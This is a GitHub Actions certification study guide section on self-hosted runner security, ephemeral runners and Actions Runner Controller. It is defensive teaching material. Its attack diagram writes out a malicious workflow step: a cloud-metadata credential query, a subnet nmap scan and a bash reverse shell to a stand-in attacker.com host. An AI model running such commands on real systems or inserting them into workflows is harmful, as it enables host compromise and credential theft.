Study guide

7.3 Self-Hosted Runner Security & Ephemeral Runners

GitHub Actions Certification GH-200

Track your progress as you read

Finished sections get a check mark.

1 Chapter 1: Introduction & Exam Overview

1.1 Exam Structure, Format & Scoring 1.2 GitHub Actions Architecture & Core Mental Model 1.3 Hands-On Preparation & Exam Day Strategy

2 Chapter 2: Workflow Triggers & Event Architecture

2.1 Webhook & Code Events: push, pull_request, and pull_request_target 2.2 Scheduled & Manual Triggers: schedule, workflow_dispatch, and repository_dispatch 2.3 Release, Issue, and Dynamic Lifecycle Events 2.4 Branch, Tag, and Path Filtering Patterns

3 Chapter 3: Jobs, Matrix Strategies & Execution Control

3.1 Job Anatomy, Step Execution & Job Dependencies (needs) 3.2 Contexts, Expressions & Functions 3.3 Environment Variables & Workflow Commands 3.4 Matrix Strategies & Multi-Platform Builds 3.5 YAML Anchors, Aliases & Merge Keys

4 Chapter 4: Reusable Workflows & Troubleshooting

4.1 Authoring & Calling Reusable Workflows (workflow_call) 4.2 Comparing Reusable Workflows, Composite Actions & Starter Workflows 4.3 Troubleshooting Workflow Runs & Debug Logging 4.4 Concurrency Controls & Status Check Functions

5 Chapter 5: Authoring Custom Actions

5.1 Action Architecture & action.yml Specification 5.2 Authoring Composite Actions 5.3 Building JavaScript Actions 5.4 Building Docker Container Actions

6 Chapter 6: Action Distribution, Marketplace & Advanced Action Types

6.1 Action Versioning, Semantic Releases & Tagging 6.2 Publishing Actions to GitHub Marketplace 6.3 Service Containers & Network Topology 6.4 actions/github-script & Workflow Tooling

7 Chapter 7: Runner Infrastructure & Self-Hosted Runners

7.1 GitHub-Hosted Runners & Larger Runners 7.2 Self-Hosted Runner Setup, Architecture & Communication 7.3 Self-Hosted Runner Security & Ephemeral Runners 7.4 Runner Groups, Labels & Organization Routing

8 Chapter 8: Enterprise Governance, Policies & Environments

8.1 Enterprise & Organization Action Policies 8.2 Environments, Protection Rules & Deployment Approvals 8.3 Repository Rulesets, Required Status Checks & Governance 8.4 Usage Limits, Billing Multipliers & Usage Metrics

9 Chapter 9: Secrets, Permissions & OIDC Cloud Authentication

9.1 Encrypted Secrets Architecture & Scopes 9.2 GITHUB_TOKEN & Least Privilege Configuration 9.3 OpenID Connect (OIDC) & Workload Identity Federation 9.4 Script Injection Prevention & Secure Workflow Patterns

10 Chapter 10: Supply Chain Hardening & Performance Optimization

10.1 Supply Chain Hardening: SHA Pinning, Dependabot & Artifact Attestations 10.2 Caching Dependencies with `actions/cache` 10.3 Artifacts Management & Job Handoff 10.4 Workflow Performance, Cost Optimization & Architecture Review

7.3 Self-Hosted Runner Security & Ephemeral Runners

Key Takeaways Explain This Topic AI

Hard Security Rule: Never use self-hosted runners on public repositories because external contributors can submit malicious pull requests executing arbitrary code that compromises the host, internal network, and stored secrets.

Persistent (non-ephemeral) self-hosted runners create severe security risks due to shared file systems, residual source code, cached credentials, lingering background processes, and lateral movement vectors.

Ephemeral runners configured with ./config.sh --ephemeral register for exactly one job execution and automatically unregister and terminate upon job completion, guaranteeing a clean execution environment.

Actions Runner Controller (ARC) is GitHub's official Kubernetes operator that automates scalable, containerized, ephemeral self-hosted runner fleets using Custom Resource Definitions (CRDs).

Container builds on Kubernetes runner pods should leverage rootless, daemonless build tools (e.g., Kaniko or Buildah) to eliminate the severe security risks associated with running privileged Docker-in-Docker (DinD) sidecars.

Last updated: August 2026

Self-Hosted Runner Security & Ephemeral Runners

Deploying self-hosted runners gives organizations immense flexibility, control over hardware, and direct access to private networks. However, self-hosted runners introduce significant security responsibilities. Because workflow steps execute arbitrary shell code, an improperly secured runner can become an entry point for lateral movement, credential theft, supply chain tampering, and persistent internal compromise.

Understanding the security threat model of self-hosted runners, the critical risks of public repositories, the configuration of ephemeral runners , and the architecture of Actions Runner Controller (ARC) on Kubernetes is a heavily tested domain on the GH-200 examination.

1. The Public Repository Hard Security Rule

GitHub's official documentation and enterprise security frameworks establish a fundamental rule:

Caution

THE GOLDEN RULE OF SELF-HOSTED RUNNER SECURITY: NEVER use self-hosted runners on public repositories. Self-hosted runners should strictly be reserved for private or internal repositories where all contributors with pull request access are trusted corporate entities. +-----------------------------------------------------------------------------+

  • | ATTACK VECTOR: UNTRUSTED PUBLIC PULL REQUEST EXECUTION |
  • | |
  • | 1. Malicious Actor forks your public repository |
  • | 2. Attacker modifies workflow file (.github/workflows/ci.yml) or tests |
  • | 3. Attacker adds malicious bash step: |
  • | run: | |
  • | curl -s http://169.254.169.254/latest/meta-data/iam/secrets... |
  • | nmap -sS 10.0.0.0/16 |
  • | bash -i >& /dev/tcp/attacker.com/4444 0>&1 |
  • | 4. Attacker opens Pull Request against public repository |
  • | 5. Self-hosted runner in your private VPC picks up job and executes code |
  • | 6. Result: Host compromised, private network scanned, cloud IAM stolen |
  • +-----------------------------------------------------------------------------+
  • Why Public Repositories Present Critical Danger

When a public repository executes workflows on self-hosted runners, any user on the internet can fork the repository, modify the workflow or build scripts, and open a pull request. If the workflow triggers on pull_request (or if an maintainer approves the workflow run), the untrusted code executes directly inside your private network or on-premises datacenter .

Once code executes on the self-hosted runner, the attacker can:

Query cloud instance metadata services (e.g., AWS http://169.254.169.254 ) to steal instance IAM role credentials.

Scan private subnets ( 10.0.0.0/8 , 192.168.0.0/16 ) for unauthenticated databases, internal APIs, and Kubernetes control planes.

Install persistent rootkits, cryptominers, or reverse shells on the host operating system.

Read environment variables, secrets, and repository code processed by previous or concurrent jobs.

Important

Organization Policy Protection: GitHub disables public repository access to self-hosted runner groups by default. In Organization and Enterprise settings, the policy "Allow public repositories to use self-hosted runner groups" must remain disabled .

2. Persistence Risks on Long-Lived Self-Hosted Runners

In traditional self-hosted runner setups, a single persistent virtual machine or bare-metal server executes dozens of workflow jobs over weeks or months. This persistent model introduces severe architectural risks: PERSISTENT RUNNER CONTAMINATION RISKS

  • [Job 1: Build Frontend] ──> Leaves node_modules & temp files in _work/
  • │
  • ▼
  • [Job 2: Malicious/Buggy]──> Modifies /etc/resolv.conf, installs trojan binary in /tmp
  • │
  • ▼
  • [Job 3: Deploy Production]─> Reads tainted /tmp binary; exports PROD_DB_PASS to disk
  • │
  • ▼
  • [Job 4: Test Integration] ─> Reads leftover PROD_DB_PASS from disk; exfiltrates data
  • Core Vectors of Persistent State Pollution

Workspace Residue ( _work/ ): By default, the runner checks out code into subdirectories of _work/ . If a job fails before cleanup or malicious code writes hidden files, subsequent jobs running on the same host can read or execute those leftover artifacts.

Dangling Background Processes: If a previous job starts background processes, web servers, or network listeners that fail to terminate cleanly, those processes continue running during subsequent jobs, consuming memory or intercepting network traffic.

Docker Daemon Pollution: On hosts running Docker, containers, volumes, networks, and untrusted images created by Job A persist on the host daemon, accessible by Job B.

Cached Credentials: Toolchains frequently cache credentials in user home directories (e.g., ~/.npmrc , ~/.docker/config.json , ~/.gitconfig , ~/.aws/credentials ). A succeeding job can read these credentials if they are not explicitly wiped.

3. Ephemeral Runners ( ./config.sh --ephemeral )

To achieve the clean isolation of GitHub-hosted runners while retaining the network and hardware advantages of private infrastructure, GitHub provides Ephemeral Runners .

An ephemeral runner is a self-hosted runner configured to accept and execute exactly one workflow job before automatically de-registering and terminating. # Register an ephemeral self-hosted runner

  • ./config.sh \
  • -url https://github.com/my-org \
  • -token AB12CD34EF56GH78IJ90KLMN \
  • -name ephemeral-runner-01 \
  • -ephemeral \
  • -unattended
  • # Start the runner
  • ./run.sh
  • Ephemeral Lifecycle Mechanics

Single-Job Execution: The runner polls GitHub, receives one job assignment, and executes all workflow steps.

Automatic De-registration: As soon as the job finishes (whether the job succeeded, failed, or was cancelled), the runner daemon notifies GitHub and automatically removes its registration from the runner pool.

Process Termination: The Runner.Listener process cleanly shuts down and exits.

Infrastructure Recycling: The underlying infrastructure automation (such as an AWS Auto Scaling Group lifecycle hook, Azure VMSS script, or Kubernetes operator) detects process exit, destroys the VM/container instance, and provisions a brand-new, clean instance from a pristine base image.

4. Actions Runner Controller (ARC) on Kubernetes

For enterprise Kubernetes environments, Actions Runner Controller (ARC) is GitHub's official Kubernetes operator designed to orchestrate scalable, ephemeral self-hosted runner infrastructure. +-----------------------------------------------------------------------------+

  • | ACTIONS RUNNER CONTROLLER (ARC) ARCHITECTURE |
  • | |
  • | +---------------------------------------------------------------------+ |
  • | | GitHub Actions Control Plane | |
  • | +---------------------------------------------------------------------+ |
  • | ▲ │ |
  • | │ 1. Outbound HTTPS Session │ |
  • | │ (Detects queued jobs) │ |
  • | │ │ 2. Dispatches |
  • | +───────────┴──────────────────────────────────────────┼──────────────+ |
  • | │ Kubernetes Cluster │ │ |
  • | │ ▼ │ |
  • | │ +------------------------+ +------------------------+ │ |
  • | │ | arc-runner-listener | | Ephemeral Runner Pod | │ |
  • | │ | (Lightweight Poller) | | (Single Job Lifecycle)| │ |
  • | │ +------------------------+ | | │ |
  • | │ │ | +------------------+ | │ |
  • | │ ▼ 3. Scales Pods | | runner container | | │ |
  • | │ +------------------------+ | +------------------+ | │ |
  • | │ | ARC Controller Manager|────────────>| | dind / container | | │ |
  • | │ | (Manages ScaleSets) | | +------------------+ | │ |
  • | │ +------------------------+ +------------------------+ │ |
  • | +─────────────────────────────────────────────────────────────────────+ |
  • +-----------------------------------------------------------------------------+
  • Core ARC Custom Resources & Components

Controller Manager ( gha-runner-scale-set-controller ): The Kubernetes operator controller that watches Custom Resource Definitions ( AutoscalingRunnerSet ) and provisions runner pods dynamically.

Listener Pod ( gha-runner-scale-set-listener ): A lightweight client pod that establishes an outbound HTTPS connection to GitHub Actions, listens for queued jobs targeting the runner scale set, and signals the controller to scale up runner pods.

AutoscalingRunnerSet CRD: Defines the runner pool configuration, target GitHub organization/repository, min/max pod replicas, container image, resource requests/limits, and labels.

Ephemeral Runner Pods: Kubernetes pods containing the runner container that spin up on demand, execute a single job, and are terminated and garbage-collected immediately upon job completion.

Container Builds in Kubernetes: DinD vs. Rootless Builders

When running CI/CD workflows inside containerized Kubernetes runner pods, jobs frequently need to build container images ( docker build ). Platform teams must choose an isolation strategy:

Container Build Strategy Mechanism Security Posture Trade-offs

Docker-in-Docker (DinD) Runs a Docker daemon in a sidecar container with securityContext.privileged: true . ⚠️ High Risk: Privileged containers can break out of container sandboxes and access the host node kernel. Full compatibility with docker build , docker-compose , and Docker container actions.

Rootless Docker / DinD Runs Docker daemon in userspace without root host privileges. 🟡 Moderate Risk: Prevents host root escalation, requires specific Linux kernel user namespaces. Some overlayfs storage driver performance penalties.

Daemonless Tools (Kaniko / Buildah) Builds OCI images in userspace inside standard, unprivileged Kubernetes pods without Docker. 🟢 Zero-Trust (Secure): Completely unprivileged; no daemon required; ideal for enterprise K8s. Cannot execute docker run or Docker-based GitHub Actions directly.

5. Security Threat Model Comparison Matrix

Security Dimension Persistent Self-Hosted VM Ephemeral Self-Hosted VM ( --ephemeral ) Actions Runner Controller (ARC) on K8s GitHub-Hosted Standard Runner

Job State Isolation 🔴 None (Shared file system & memory) 🟢 Clean OS per job 🟢 Fresh container pod per job 🟢 Pristine Azure VM per job

Public Repo Safety 🔴 Critical Vulnerability 🔴 High Risk (VPC network exposure) 🔴 High Risk (VPC network exposure) 🟢 Fully Safe (Sandboxed Azure VM)

Autoscaling Speed ❌ Manual provisioning 🟡 Moderate (VM boot 1–3 min) 🟢 Fast (Container pod boot 5–15 sec) 🟢 Instantaneous cloud provisioning

Private VPC Access ✅ Direct private network access ✅ Direct private network access ✅ Governed via K8s NetworkPolicies ❌ Requires Larger Runner / VNet

Host Compromise Risk 🔴 Persistent rootkit risk 🟢 Ephemeral disk wipe on terminate 🟢 Pod destroyed after job 🟢 VM destroyed after job

Loading diagram... Threat Vector: Exploitation of Self-Hosted Runners on Public Repositories